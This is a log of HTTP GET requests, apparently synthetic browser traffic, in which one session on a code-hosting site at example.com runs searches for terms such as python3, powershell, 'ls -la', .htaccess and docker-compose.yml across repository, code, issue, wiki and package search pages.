{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice?tab=repositories&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=python3&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=docker-compose.yml&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
